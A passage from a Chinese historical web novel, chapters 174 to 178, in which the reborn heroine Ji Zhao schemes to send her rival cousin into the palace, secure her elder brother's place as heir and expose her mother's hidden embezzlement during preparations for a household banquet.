前世皇帝应该是受了刺客一剑,引发体内毒素,回京后时不时就对外说龙体欠安。 纪昭将一切想定,慢慢有了主意——怎么处置白沁雪主意。 她道:“白沁雪是个极有野心的人。我打算将她放入宫中。” 萧烨:“你这不是给自己树个敌手?按我说的,回京后暗中将她打杀了埋了就行。” 纪昭自然不能告诉萧烨,白沁雪是大夫人的命根子。 打杀了白沁雪,大夫人会更加疯狂。 自己一番筹谋复仇,不是将他们一个个用雷霆手段打杀了,她要让前世的恶人一个个都遭受过她曾遭受痛苦的百倍才算完。 纪昭道:“直接打杀了牵扯很多人,还有一些旧案没了结,不过我会处置妥当的。” 萧烨点头。 他向来不管细节。白沁雪在他眼中都和白菜烂瓜似的,随意一刀就能让她死无葬身之地。 这次萧烨不动白沁雪,是因为白沁雪还是晋阳侯府名义上的养女。 他和纪昭一样,投鼠忌器。 正说话,外面的人说贞祈长公主来了。 萧烨眼底掠过烦躁:“不见,就说我睡下了。” 来人应了一声,转身要走。 纪昭:“等等。” 她对萧烨道:“长公主既然来了,就让她看看瞧瞧,死了心最好。” 萧烨看了她一眼。 纪昭心里有数,让内侍去请人:“就说殿下的伤不方便走动,怕会裂开。若是长公主不嫌弃就去前面梅花园相见。” 来人去请了。 过了一会,一群人便在梅花园中。 来的人有王家和崔家两位公子,还有三位高门女。 贞祈长公主刚踏入园中就瞧见花影后,萧烨坐着,纪昭含笑站在他身边,手中捧着茶。 贞祈长公主眉心蹙紧。 她瞧纪昭的神色不像是吃醋受气,反而像是正儿八经的女主人。 纪昭见他们来了,上前与贞祈长公主见礼。 “又见到长公主。是特地来探望殿下的吗?” 贞祈长公主眉心动了动:“纪大小姐怎么没回自己的院中?” 纪昭笑容不变:“长公主不也是没回自己的院子吗?你我都担忧殿下,所以想到了一起。” 贞祈长公主:“……” 众人在外院等了半天才得见萧烨,便趁机上前问安说话。 纪昭便吩咐内侍端茶奉点心。 贞祈长公主瞧得心里越发气闷。 她冷笑:“纪家大小姐这做派还挺像模像样的。” 纪昭佯装听不懂:“什么像模像样的?待客之道我是懂的。” 贞祈长公主气息不稳:“哪有未出嫁的女子如此……孟浪!” 纪昭惊了:“长公主说什么?小女哪儿做得不对了?” 她无措看向萧烨:“殿下,小女不知哪儿做错了惹得长公主生气。” 萧烨淡淡道:“你没有过错。” 贞祈长公主再也受不了,拍了桌子:“十四,你就由着这个不知高低的女人显露人前?” 萧烨面无表情:“皇姐,她是准王妃,不日就要过门。如今我受伤不便待客,让她代为招呼有哪儿不符礼节?” “难不成皇姐要我亲自招呼众人?” 贞祈长公主:“……” 座下几人听了这话,脸色也变了,不敢抬头与萧烨对视。 贞祈长公主心里难受极了。 纪昭代为招呼客人,并不越过规矩,但提前彰显了女主人的得意。 这才是让贞祈长公主受不了。 纪昭柔声道:“长公主误会了。我本探望殿下后就要走了,长公主与几位贵客要见殿下,我才出来代为招呼。” 她行了一礼:“小女这就走。” 说完纪昭与各位含笑告辞,翩然离去。 贞祈长公主闹了好大的没脸,悻悻坐回了位置上。 甄晚照与容茹月对视一眼,暗暗沮丧摇头。 她们亲眼所见,萧烨与纪昭的关系绝非等闲,已如此熟稔。 她们家世再高又能如何?萧烨的功高、爵位高,不缺家世高的姻亲给他增加光彩。 第174章 说动晋阳侯 御驾回京,浩浩荡荡。 纪昭也回到了侯府。 这一次,晋阳侯亲自在门外迎接,喜气洋洋。 御驾在行宫遇刺是一件极凶险的事,但晋阳侯大儿子纪荣立功,大女婿睿亲王提了爵位。 这全是好消息。 晋阳侯将人迎了进去,笑容满面:“你们都辛苦了。” 纪昭:“母亲回府了没?” 晋阳侯不以为意:“她还在衡阳娘家给你外祖母做法事,还得待几日。” 纪昭见父亲一派无所谓的样子就知道指望不上。 她前去见老夫人。 老夫人已在北正院等着。 她见到纪昭,亲自上前握着她的手来回打量。 “没事就好,没事就好。我的乖孙,以为去是跟着享福荣耀,没想到还有风险。” 老夫人说着又双手合十:“我与佛主许了愿,只要你平安回来定要供奉茹素七日,佛前供奉七七四十九天的香油。” 纪昭笑道:“祖母太多虑了。孙女没事。” 二房夫人和三房夫人都来说话。 她们谈起听来的消息,一个个都说吓得几天都吃不好睡不着。 纪昭一一安慰。 拿出皇后赏赐,一房一份分了。 二房夫人和三房夫人十分高兴,说话越发捧着纪昭。与两位婶婶说了一会儿话,纪昭寻了个借口与老夫人单独说话。 到了里屋,纪昭先问了大夫人。 老夫人:“这事你放心。前日虞嬷嬷带了口信来,说一切都顺遂。” 纪昭放了心。 虞嬷嬷是老夫人的陪嫁心腹,还养过父亲,在纪府老人中辈分极高。大夫人不敢忤逆她。 纪昭又悄悄说了行宫的一些事。略去了行刺内幕,只说了表面一些事。 她道:“如今睿亲王封到了顶格。他意思是想分恩给我们晋阳侯府,被我拒了。” 老夫人点头:“你做得对。如今还没成亲,贸然分恩会招人嫉恨。” 纪昭又道:“还有两件事。” 她先说了庶妹纪灵和周家庶子周行知的婚事。 老夫人高兴:“好,周家门风清正,我有耳闻。等过两日就让你二婶去登门先通通气。” 说完纪灵,纪昭说起了白沁雪。 她只说了白沁雪去献歌邀宠,一门心思要入宫。没说白沁雪还去顶替了越三娘跳舞,差点被当做同谋。 老夫人听得脸一阵黑一阵红。 最后,老夫人咬牙切齿:“养女就是养女,养不熟的白眼狼。以前以为她乖巧顺从,又才貌不错,这才同意你母亲将她养在侯府中。 没成想她竟然是个不安分的,成天想方设法作妖,先是得罪了庞贵妃,如今又要入宫为我们纪家引祸。留不住了!” 纪昭:“祖母,我瞧着沁雪表妹是有了自己的出路。我们干脆送佛送到西,让她赶紧脱了纪府。” 老夫人点头:“你说的是。” 老夫人让人唤来晋阳侯。 晋阳侯听了纪昭的话,犹豫:“那皇帝瞧上了沁雪了没?” 老夫人:“……” 纪昭冷眼瞧着,心里摇头。 她就知道会有这一出。 老夫人气得摔了茶盏:“糊涂!你是被仕途富贵迷了心。这种手段邀宠只会给侯府引来祸事。” 晋阳侯急忙跪下:“母亲息怒。儿子只是随口一问。既然沁雪留不得,那赶紧将她送进三皇子府。” 老夫人:“如今她有了歪心思,一门心思要进宫。恐怕三皇子府那边送不了。只能寻个办法让她入宫,顺便把我们晋阳侯府摘干净点。” 晋阳侯听得迷茫:“这样不是得罪庞贵妃吗?依儿子的愚见,就直接送到三皇子府算了。” 老夫人摇头叹气:“真是糊涂。昭儿你与你父亲说清楚。” 纪昭道:“父亲细想,沁雪表妹想要邀宠那定是不愿当三皇子的贱妾。若是我们直接把她送入三皇子府中,她恨我们纪家,万一在三皇子那边上眼药,将来就是给我们埋隐患。” 晋阳侯听了,皱眉:“她没那个本事吧。” 纪昭:“她有。父亲也不愿意辛辛苦苦养了个养女,结果成了自己的仇敌吧。” 晋阳侯冷声道:“吃里扒外的东西,早知道以前就不要她来侯府。” 本以为是锦上添花的养女,没成想一点都不中用,最后还要结怨。晋阳侯纪世德想到这个就一阵肉疼和后悔。 他问:“若是送入宫中,庞贵妃那边怎么办?庞贵妃也会与我们结怨。” 纪昭只能掰开了揉碎了说给他听:“若是寻个妥当的法子送白沁雪入宫,她先不会恨我们。庞贵妃失去一个无关紧要的人其实也不会多恨我们。但庞贵妃善妒,必将打压她。到时候就是她与庞贵妃斗起来。” “不过父亲放心,皇后会偏着护着白沁雪一些。所以表妹应该有机会获得盛宠。” 说白了,白沁雪到了三皇子府中就是一枚死棋。 但如果入了宫,死棋也会变活棋。用她牵制住庞贵妃一党,而皇后那边必会暗中帮忙。 白庞两人相斗,能给皇后和六皇子萧澈赢得不少时间。 这个道理,纪昭没说太清楚,只能希望父亲能突然顿悟。 晋阳侯想了半天,点头:“知道了,白沁雪送入宫中也许能获宠。她获宠了也得惦记我们侯府从前给她的好处。” 纪昭:“……” 晋阳侯十分欣慰:“昭儿总算是长大了,心思缜密,为父很高兴。” 老夫人不耐烦道:“你知道怎么做就行。此事不要说出去,等秦氏回来,我与她商议。” 晋阳侯走了。 老夫人实在是忍不住:“小时候觉得他是三个儿子中最聪明稳重的,如今看来竟然蠢透了。如今我们侯府明面上是睿亲王,系着太子一边的,怎么能把白沁雪送给三皇子府?” “这点浅显道理他竟然都想不通。” 纪昭:“父亲醉心仕途,只想好处,不想付出什么代价,所以想法欠缺了些。” “如果不这么弯弯绕绕说给父亲听,他也许怕得罪庞贵妃坚持将白沁雪送给三皇子。至于送过去将来是死是活,父亲是不管的。” 老夫人:“他的确是不管死活的。但他也不想想兔子急了还咬人。没必要让白沁雪恨我们。”” “你不像你父亲无情残酷,很稳妥,这点很好。” 纪昭心里叹气。 她脾气急这点像父亲,但脑子方面不像。 不幸中的万幸。 祖孙两人又说了一会儿话,定了计策。纪昭这才回了紫棠院。 第175章 想让大哥做侯世子 回到熟悉又舒适的屋中,纪昭只觉得浑身轻松。 她一高兴又打赏了院里的下人。 粗使丫鬟和奴仆一人一两,其余的依等级领赏银。 整个紫棠院喜气洋洋,都道跟了慷慨的大小姐,日子是一天天好了。两位教养嬷嬷也拿了赏钱。 黄嬷嬷数着自从进侯府得的赏钱,脸上都要笑成菊花。 黄嬷嬷:“准王妃可真是个大方的主儿。我在宫中几十年,体己都不如来这一个月得的多。” 陈嬷嬷也带着笑:“是啊。而且待人还随和,不苛刻。没有高门女高傲的坏脾气,每次教她规矩,都客客气气的,做错了也不恼。我瞧着真是活该她富贵又荣华。” 黄嬷嬷:“如今睿亲王功高,将来储君上位。这前途……” 两位嬷嬷眼里亮闪闪的。 黄嬷嬷压低声音:“待准王妃大婚,我们可以让她留下来。这可比在宫里和一帮人抢食吃有前途多了。” 陈嬷嬷:“是这个道理。” 纪昭用了晚膳,梳洗后就躺在床上美美睡觉。 一夜无话。 第二日起床后,纪昭梳洗用过膳食,神清气爽,前去给老夫人请安。 因侯府有喜事,老夫人容光焕发,正和几位夫人说话。座中还有大嫂包氏,二嫂阮氏。 纪昭提起纪璇静的婚事、纪灵的婚事。 老夫人便发下话来,让二夫人沈氏攒个宴,下帖子让忠义伯府的过来赴宴。 二夫人沈氏喜气洋洋:“要的,侯府也许久没热闹过了。小小招待亲朋是极好的。” 纪昭瞧见大嫂包氏,道:“誉哥儿也要周岁了。府中到时候做个周岁宴,将亲朋好友,与我们交好的人家也都请了。” 二夫人沈氏点头:“是极。还有几位姑娘也将到及笄之年。也得开始准备操办了。” 老夫人道:“灵儿也快及笄了。这婚事也要抓紧。” 二姨娘原本站在堂边,听了这话笑眯眯上来:“一切听老夫人吩咐。” 她又对纪昭行礼:“多谢大姑娘替灵儿掌眼。” 纪昭道:“周家是世家,周行知虽是庶子,但十分勤勉还有才华。灵儿以后进了周家也要按一房主母做派来栽培的。” 二姨娘赶紧道:“是,一切都听大姑娘的安排。” 纪昭:“灵儿启蒙晚了点,其余的都没来得及栽培。从今日起在我紫棠院里跟着教养嬷嬷学一点。” “学一点就够她将来用了。” 二姨娘欣喜:“是是,大小姐安排的好。” 老夫人对二姨娘道:“昭儿是没有私心的。你且放心灵儿与她大姐姐学样。她与昭儿亲厚点,以后就能互相帮衬点。” 二姨娘哽咽落泪:“多谢老夫人、大小姐恩德。我……我……” 她赶紧磕头。 纪昭看得唏嘘。 二姨娘重男轻女,女儿纪灵也不曾用心管教,但终究是亲母女。女儿前途有了依靠,二姨娘也动容感恩。 而大夫人那是恨不得自己去死。 想着,心里隐隐难过。 不过这种感觉一闪而过,心里便没了波澜。 她好不容易由鬼再做一回人,是要做大事,不是沉浸在无所谓的小事上的。 两女的婚事都商定,老夫人派人知会晋阳侯一声。 余下的便是安派款待贵客的宴会。 老夫人:“侯府一直挺低调的,从春节到如今年中只办过一次。所以这次可以办个大点的,也不算张扬。” 纪昭:“大哥领内厂副统领一职都没大办过,如今要领正职,可办的大点。” 二夫人沈氏和三夫人周氏巴不得办得越大越好,纷纷同意。 三夫人周氏突然道:“不过大夫人还没回府,要等大夫人回来吗?” 堂中静默了一瞬。 老夫人淡淡道:“她回老家尽孝,不便打扰她。她若是赶回来,再说。” 于是这事便定了。 纪昭留下来给老夫人写请帖,回请帖。 老夫人见她写的字秀丽中带着力道,十分高兴:“昭儿文武算是双全,越发有才。” 纪昭笑道:“以后给祖母抄多点佛经。” 老夫人笑呵呵:“你有这份心就极好了。你是干大事的,抄佛经这种事就给闲着的人,让她们修修心。” 纪昭心中一动,隐约觉得老夫人意有所指。 老夫人面目慈和,没看出她想的什么。 纪昭写了一些回贴后,想起一件极重要的事:“祖母,如今太子都立了。我们侯府还没定侯世子。” 老夫人眉心一跳:“你也觉得是时候了?” 纪昭:“侯府立府三年了,今年是第四年。按道理去年就得上册子交给宗人府。今年不能再拖了。” 老夫人点了点头:“我挑个时候与你父亲说。他磨磨唧唧拖到了现在,是得决定了。” 纪昭想了想,道:“要是父亲不能做决定,少不得求一下睿亲王。让他提点父亲一下。” 老夫人:“睿亲王愿意替荣儿说话?” 纪昭没问过萧烨这事,但想着应该是愿意的。 大哥纪荣是九千岁魏曹公的人,而魏曹公明面上是皇帝的人,但其实是萧烨的忠仆。 所以,这件事让萧烨点一下父亲,大哥纪荣侯世子的位置就跑不掉了。 纪昭:“祖母先给父亲提个醒,我去与睿亲王问问。” 老夫人答应了。 …… 白沁雪回了侯府后就被变相软禁起来。 如今侯府是纪昭管家,大少夫人包氏、二夫人和三夫人和她一条心。 纪昭回来只说了一句话,下人们便自动自觉把沁芳阁围了起来。 白沁雪坐在屋子里发闷,又害怕。 她不知道纪昭要怎么处置她。 若她是纪昭,那早就往死里整。所以白沁雪并不明白纪昭软禁是什么个意思。 “表小姐,喝点茶。” 春兰端了茶上来。 白沁雪幽幽盯着她。 春兰泰然自若:“表小姐都瘦了,回来就好好养养。” 白沁雪突然道:“你当真得罪了大姐姐?” 春兰怔愣片刻,垂首:“表小姐为何旧事重提?” 白沁雪古怪笑了笑:“你要是与她还有主仆之情,要不替我去说说情?” 春兰疑惑:“表小姐要奴婢去说什么?” 白沁雪欲言又止,随后冷冷别过脸:“罢了。你下去吧。” 春兰瞧着她的脸色,应了一声退了下去。 到了屋里,春兰想了想,换了件衣衫悄悄出去了。 第176章 下决心拔除毒瘤 纪昭这几日在紫棠院忙着拟宴会的帖子,还有行宫之行后各家送来的一堆帖子也必须回复。 这些帖子有的是纪府的世交,有的是皇亲国戚。 纪昭将这活儿揽过来,可以提前习惯这些复杂关系的处理。 庶妹纪灵已在紫棠院住下。 白日去私塾里继续启蒙念书,下午回来看教养嬷嬷怎么教导纪昭礼仪,与其他事宜。 她比纪昭小五岁,明年才及笄。 纪昭也不催她,让她在身边,边看边学。 纪灵有了目标,学起来十分上进。听她身边的丫鬟蕊儿说,晚上纪灵还看书到深夜。 诸事都很顺遂,都在纪昭计划中。 只是有一样没了结——侯府的烂账。 目前侯府各房各院该查的都查了,只剩下西正院的大账本没动。而西正院的大账本在大夫人手中,她迟迟不交。 纪昭找来大嫂包氏,还有二夫人沈氏前来商议。 二夫人沈氏犹豫:“账房那边的账册一直都是大夫人在管着,账房先生也是她的人。如果贸然去要,别说给不给,就算给了也肯定是假的。到时候账房一句话,我们忙活半天又白搭。” 纪昭点头。 她当然知道是这个道理。 执掌中馈说的其实就是管银钱进出。 侯府其他事项由老夫人分配,其实都分管得差不多了。但最后一本账还牢牢攥紧在大夫人的手中。 大夫人的人,纪昭不想打草惊蛇才留到了现在。 包氏皱眉:“如果那本账册拿不到,大夫人回来也不会给真的。到时候来回拉扯又是一笔糊涂账。” 纪昭:“如今我想了个主意。” 她这个主意想了许久了,在脑中推演了无数遍才方决定。 二夫人沈氏急忙问什么主意。 纪昭对她们耳语了两句。 三人商量了一个半时辰才各自回去。 …… 二夫人沈氏回到了屋中,先是喝了好大一口茶。 她喝的急,差点呛着。 二老爷笑她:“又没人跟你抢,瞧你这个样。” 二夫人沈氏喝了两杯才算止渴。 她道:“你懂什么?我这是和大姑娘商量大事,顾不上喝水。” 二老爷:“商量什么大事?” 二夫人沈氏左右瞧了瞧,压低声音:“侯府要变天了。” 她于是低声将今天得到的消息都说了。 二老爷越听越是心惊:“当真这么大的事?真是胆大。这是要造反啊。” 二夫人沈氏急忙捂住他的嘴:“你别声张。可不是胆大吗?你也不瞧瞧大姑娘如今是什么身份?她背后可是睿亲王,黄龙袍加身的顶格亲王爷!” 二老爷啧啧道:“大姑娘刚开始说要查账,到了后面雷声大雨点小,我还以为她只是花架子,没想到动真格的。” “这事要是办成了,那真的是……” 他想了半天没想出夸纪昭的词。 二夫人沈氏沉声说:“我瞧着大姑娘的意思是下了死决心。而且我们二房出头日也来了。” 二老爷:“此话怎么讲?” 二夫人沈氏狠狠瞪了他一眼:“若不把我们当亲人,大姑娘怎么会特地招我过去说?” “我瞧着得抱紧大姑娘的腿。将来她成了睿亲王妃,从指缝里面漏点给我们,那是享用不尽。” 二老爷眼睛也亮了:“大姑娘真是这么个意思吗?” 二夫人沈氏:“你想想看,大姑娘和侯爷不亲,和大夫人也不亲,和二公子更是乌眼鸡似的对着干。她在侯府中也就和大公子亲近点。” “余下的都是不中用的,哦,还有纪蕴,三公子她也提携了。这些不是明摆着吗?大姑娘的眼睛毒辣着呢,谁能用,谁不能用,她门儿清。你以后一心给大姑娘做事,睿亲王万一赏你一个官做做,岂不是美死了。” 二老爷若有所思。 他如今跟着大公子纪荣,得了个内厂采办的肥差。 虽然采办的东西不多,但一年几千两是有的。 他没什么大志向,只想着细水长流给自己这一房多攒点老本。 但若是大姑娘以后在睿亲王跟前说句话,说不好就赏了一官半职当当。 当上官,那身份可就完全不一样。 有官身他以后就是官老爷,子孙也会得了庇护。 二老爷赶紧道:“快说说,大姑娘吩咐什么事,我帮你筹谋筹谋。” …… 纪昭去寻了大哥纪荣。 这件事要成,必须得大哥纪荣帮忙。 成了后,侯府的内宅就彻底脱离了大夫人的挟制。而且纪昭也不贪功,她会将侯府上下都整治清楚然后交给大嫂包氏。 大哥纪荣这房得了侯府掌家权,才能让父亲心甘情愿将侯世子定给纪荣。 所以一环扣一环。 先前纪昭查账查到西正院的时候就没往下查,等的也是这个时机。 她知晓时机会来,但不确定什么时候来,所以才拖了一段时间。 以至于侯府上下都以为她是花架子,只敢小打小闹,最后会落得雷声大雨点小。 但,这都是假象。 纪昭决定瞅准机会,一并办了。 纪昭将计划告诉大哥纪荣。 纪荣略有些诧异:“你当真要这么做?万一查到了罪证,大夫人可能要获罪。一个做不好,侯府名声都要跟着完蛋。” 他不同意:“你也快成婚,这个节骨眼上不要出岔子。” 纪昭却摇头:“大哥,这个时机千载难逢。旁人都知道如今睿亲王殿下为我撑腰,那就不敢动我。换了别的时候,万一搅和了别的事就说不准了。” 纪荣还是犹豫不决。 “如果你是看不惯大夫人偷偷放印子钱,这事我已经暗中处置了钱庄的人。大夫人那边也有收敛。要不,等你成亲后我再着手处理?” 纪荣提出了折中的法子。 纪昭还是摇头。 “大哥不要因为我而投鼠忌器。如果侯府这毒瘤不除,以后后患无穷。” 纪荣皱眉:“昭儿你说得严重了。她毕竟是你的生母,况且只是贪财过了些,不至于有什么很严重的后果。” 纪昭还是坚持,正色道:“大哥若是信我就照我的办。你不了解大夫人,她不是善类。” 纪荣只能答应。 纪昭不愿意多说。 这就是前世的一个盲点——所有人都知道大夫人做了恶,但总以为她是侯夫人,只是有私心,并不会真正做大恶行。 前世的自己也是,总以为毕竟是生母。生母又会怎么毒害子女? 抱着这个想法,她被一步步害死而不知反抗,甚至老夫人都有可能是大夫人暗中下的手段。 大夫人为了她自己大权在握,也为了白沁雪,早就不把侯府的人当做至亲。 她是真的会下死手。 第177章 大夫人被虞嬷嬷绊住 侯府的宴席很快准备起来。 名义上是“品茗宴”,实际上有心人都知道这是晋阳侯府在庆祝大公子纪荣立功升迁,外加庆贺睿亲王救驾有功,让侯府也跟着沾光。 但这种事不能在皇帝龙体抱恙时摆在明面上庆祝,只能找个无关痛痒的小名目。 侯府下的帖子不少,八大世家中请了四家,其余勋贵与官宦之家更是请了不少。 宴请宾客的菜单是换了一遍又一遍。 不多见的食材是添了一次又一次。 准备回礼的礼单亦是改了一遍又一遍。 消息传到了衡阳老家。 大夫人气色不错,比之前来的时候病容恹恹,是判若两人。 她听了这消息,手中的胭脂差点掉在地上。 “什么?!京城出了这么大的事,侯府要办宴席?”大夫人不敢置信,“我还没回去呢。谁主事?谁迎客?” 来人支支吾吾:“老夫人说,侯夫人要尽孝,就不等侯夫人回府了。” 大夫人气得脸色发青。 挥退来人,大夫人险险把簪子捏弯了。 心腹上前:“大夫人别生气了,这一时间回不去也没办法。” 大夫人想了半天,冷冷道:“趁着我不在做这宴席。这是不给我脸。来人说请了几个世家的夫人,还有几家官宦家的,却独缺了我这正头侯夫人迎客。” 她想了想:“不行,我得回去。” 主意一拿定,大夫人再也坐不住,准备起身让下人收拾。 虞嬷嬷听到了消息前来。 她到了大夫人屋中,冷眼扫过忙碌的奴仆们,问大夫人要做什么。 大夫人将侯府的事说了,又道:“我是侯夫人,如今侯府有这般大事我怎么能不回去?若是我不回去,恐怕京城世家们定会非议侯府礼数不周。” 虞嬷嬷笑了笑:“大夫人这话就有点不对。侯府有老夫人在,还有侯爷在,大哥儿,大姐儿也都长大成人,哪个挑出来不是能独当一面的?” 大夫人的脸色变了变:“可毕竟侯府女主人还得是我。” 虞嬷嬷:“这也不是不让大夫人回去。只是大夫人不是要来给逝者尽孝,说要迁了墓还得做七天的法事,这才刚做了一半贸然回府不太好吧?” 大夫人无言以对。 虞嬷嬷又道:“况且就算做完了法事,大夫人这算是热孝在身,也不合适去宴饮享乐。” 大夫人想要辩驳却发现没有道理。 虞嬷嬷瞧她脸色不对,笑道:“不过大夫人也不用急。还剩三日就做完法事了,到时候回京也许就能赶上了。” “就算赶不上也没事,诸位赴宴夫人必定知道大夫人为何不在。这点小事,侯府那边自然会解释清楚的。” 软硬兼施,大夫人无话可说。 虞嬷嬷说完又吩咐奴仆们仔细伺候:“大夫人每日都要在佛堂为先母念经祈福,你们得仔细伺候着。” 奴仆们不敢违背,纷纷称是。 虞嬷嬷走了。 大夫人摔了粉盒。 “这老货!倚老卖老,仗着养过侯爷就对我如此不敬!等哪日那老东西死了,我定要把这些借势张狂的老货一个个都碎尸万段。” 大夫人气得胸口起伏不定。 心腹嬷嬷急忙扶着她坐好,低声道:“大夫人别气坏了身子。虞嬷嬷也不是不让您回去。只要再三天就可以回京。” 大夫人冷笑:“三天?还得等三天,路上还得走两日,一共五日才堪堪到京城。到时候恐怕宴都办完了。” 心腹嬷嬷为难:“可是虞嬷嬷说的也有道理。如今大夫人这算是热孝在身,回去也不能在人前开怀宴饮。” 大夫人听了这话,只能无奈。 她拿了迁坟的事才能回衡阳老家见那人。现如今这个借口反而成了回京的绊脚石。 大夫人眼神沉沉:“我一定会赶回京城。” 话虽狠,但大夫人心里很惊慌。 总感觉有什么大事要发生,而自己却无法赶回。 这种失控的感觉令她在衡阳多一刻都是多一刻的折磨。 …… 晋阳侯府采办管事张保富这几日特别忙。 侯府要办宴席,采买的东西太多了。他忙了两日就吃不消,不得不请示多两位副管事,外加十个随从跟着跑腿。 这一日,张保富怀揣了三千两银票出去熟悉的铺子采买海蟹食材。 在本朝,海蟹是稀罕物。 要通过海边郡县渔民手中定购,然后用海水养着一路乘船经过两大漕运才道京城。 一般十只大海蟹会在路上折损五六只。 所以光海蟹这一项就靡费巨大,但也利润颇丰。 张保富摸着袋里的银票,心里其实乐得开了花。 食材越是稀有,中间的油水越多。单采买两筐海蟹,起码能得五百两的油水。再分一分跑腿的,自己也能留个三百多两。 还不算别的鱼翅、虾、燕窝、还有各式各样的蔬果。 张保富偷笑出声,脚步越发快了。 一行人快到了海蟹铺子,突然一个随从道:“张管事,前面有人堵着了。” 张保富抬眼看了一眼,果然有一顶破败的轿子在狭窄的巷子口堵着了。 张保富急着去定货,赶紧挑了一条不起眼的巷子打算绕个道。 走了一会儿,张保富忽觉得哪儿不对。 这巷子怎么安静得过分? 他正要回头张望,一口袋子猛地套在他脑袋上。 下一刻,张保富昏迷不醒。 不知过了多久,张保富醒来。一摸银袋子,心顿时凉到了谷底。 张保富踉踉跄跄要去报官,突然有人拦住他。 “张管事?你怎么了?” 张保富失魂落魄,突然瞧见了熟人,只觉得魂魄都回来了。 他抱着人大哭:“二爷,银票被人抢了!” …… 二爷带着张保富到了紫棠院。 紫棠院的下人进进出出,几次要人通传,下人却是满脸不耐烦。 “大小姐今日出去进香,得很晚才回府。有什么事明日再来。” 张保富急的不行,又要去找老夫人,或二夫人。 二爷领着他找了,均说不在。 张保富六神无主,想去报官。 二爷赶紧拉住他:“你报什么官?这可是京城重地,哪有歹人敢劫我们府?按我说,是不是冲着你来的?” 张保富浑身一凛,嘴唇打了哆嗦。 二爷又道:“你仔细想想,劫的人长什么样?有没有说什么?” 张保富脸色难看:“没,什么都没说。” 二爷:“那奇了怪了。怎么可能什么都没说呢?那跟着你的随从呢?” 张保富这才后知后觉发现跟着自己办事的两个随从也不见了。 他一哆嗦。 这时,一个小厮跑了过来,递给他一个条子:“外面有人给张管事的条子。” 张保富看了那条子,脸如死灰,赶紧和二爷告辞了匆匆跑了。 第178章查到了大夫人私藏的银子 二爷瞧着张保富逃得惊慌失措,勾唇笑了笑,悠然自得踱步回了院子。 …… 张保富悄悄找到了二公子纪蓉。 纪蓉这些日子躲着养伤,只偶尔出去喝花酒。 他倒是学会了低调做人,不敢再张狂作妖。 他瞧见张保富的狼狈样,皱眉:“你怎么了?怎么这一副样子?” 张保富哆哆嗦嗦将事说了,声音颤抖:“一定是银庄的人抢了。前些日子他们找上门说之前交的本金被抄了,让我们尽快全额补上。还说,还说……” 纪蓉脸色难看:“还说什么?” 张保富:“还说是大公子带人抄的。他们替我们保了秘密已经算是仁至义尽。但银钱是大公子抄了去,我们补上天经地义。如果不补上,他们就,就再也不看情面和我们来个鱼死网破。” 纪蓉气得脸色铁青:“老大做事,凭什么要我们担着?” 张保富哭丧着脸:“他们就是不讲理啊。还阴阳怪气说,是不是我们联合做局,大公子负责抄他们,二公子这边还伸手要利息。” 纪蓉:“……” 张保富:“如今大夫人不在府中,没个主事的人,二公子您替小的拿个主意吧。” 纪蓉恨得牙根都要咬碎了。 “拿什么主意?我又能拿什么主意?!”他低吼,“我腿还没好呢。你让我出什么主意?” 张保富:“要不报官?可是我真的不敢。” 纪蓉:“那你想怎么办?” 张保富:“要不先支应点银子想把府中的采办东西都定好了,然后等大夫人回来。” 纪蓉心烦意乱。 这些日子他眼睁睁看着大公子纪荣立了功,纪昭则妻凭夫贵,在侯府中张扬起来。 他却只能蛰伏在小小的院落等待着。 纪蓉:“去支应点银子吧。先不要让这些人惊动了侯爷和大公子。那家伙要是知道这些事,我们吃不了兜着走。” 张保富听了这话,匆匆走了。 纪蓉静了静心,正要下床出去散散心。 门外有人进来。 是阮氏。 她端着一碗药,柔声说:“阿蓉,喝药了。” 纪蓉不耐烦:“不喝,不喝。我要出去散散。” 阮氏挡住他:“阿蓉,你的脚还没好呢。” 纪蓉推了她一把,阮氏差点摔了个踉跄。 纪蓉看也不看她,头也不回地出去了。 阮氏掩下眼底的绝望,想了想,立刻悄悄去了紫棠院。 纪昭正在临窗看账册,听了阮氏的话,点了点头。 阮氏担忧:“他这会不会跑出去做什么事来?” 纪昭:“不会。他这是去找那个叫做潇潇的女人。不过他不够格,潇潇不会对他有什么好脸色的。” 况且纪昭还暗中让人拿了银子给那青楼女子。 那青楼女子原本就不喜欢纪蓉,拿了银子又能戏弄纪蓉这个大舔狗,何乐不为。 所以那叫做潇潇的青楼女子一会冷,一会热,地钓着纪蓉。 纪蓉几乎什么话都一股脑说了出去。 所以纪昭才能渐渐知道这么多秘密。 阮氏脸色如死灰:“我一次次给了他机会,没想到他对我越发没耐心。今日还推了我一把,也不管我怀了三个月的身孕……” 泪水落下来,都是苦泪。 纪昭递过帕子,轻声道:“二嫂如今有了孩子,一定要给自己和孩子谋个出路。二哥眼下这样是没有好结果的。” 阮氏点了点头。 纪昭从行宫回来后与她说过纪蓉私下见了齐王。 对,就是那个要造反的齐王。 阮氏知道后整个人都差点疯了。 她娘家是五品文官,知道这和谋逆勾结在一起是什么下场。那可是按着族谱一个个杀的滔天祸事。 纪昭安顿好阮氏,让人悄悄护送她回院子去。 外面天色渐暗,纪昭似笑非笑在账册上画了一个大大的叉。 …… 张保富悄悄去了一处暗巷,到了一处简陋的院子。 有人迎上来:“您怎么来了?” 张保富:“我来支取点银子……” 那人接过张保富的腰牌,看了几眼这才领着他进去里面。 他们刚进屋,突然间外面火把明亮。 有人大喝:“查刺客!” 张保富:“……” …… 第二日,纪昭神清气爽地给老夫人请安。 二房和三房也来了人。 二老爷说:“昨儿张保富急匆匆说要见老夫人,但又不说什么就跑了。神神秘秘的也不知道做什么。” 老夫人皱眉:“他在府中做了几十年了,十分稳重,是碰到了什么事?” 二老爷:“这我就不知了。他只说要见老夫人。” 老夫人:“让他来见。” 过了一会儿,下人来说张保富昨夜一夜未归。 包氏突然道:“昨儿给了张管事三千两去采买食材。他说要去订货,怎么订货单昨儿没给?” 老夫人眼皮一跳:“该不会是出了什么事吧?” 众人面面相觑。 老夫人:“去把侯爷叫来。可能出了什么事了,得他来拿主意。” 晋阳侯来了。 他皱眉:“张保富人不见了?怎么回事?” 二老爷:“昨儿他急匆匆的回来,也不说什么事,只说要见老夫人和大小姐。我领着他去见大小姐,但大小姐昨下午刚好出门。” 纪昭:“是的,昨儿正好是十五,我去城南的土地公进香。不过只去了一个时辰,回来没撞见张管事。” 晋阳侯没有头绪。 此时,大公子纪荣来了。 纪荣见了晋阳侯,沉着脸说了一句:“父亲,有件事要你示下。” 晋阳侯也不知道从什么时候怕自己这个大儿子。 可能是自从大儿子纪荣受到九千岁赏识,穿上了那套内厂副统领的飞鱼服吧。 晋阳侯心头突突跳,跟着纪荣到了偏厅。 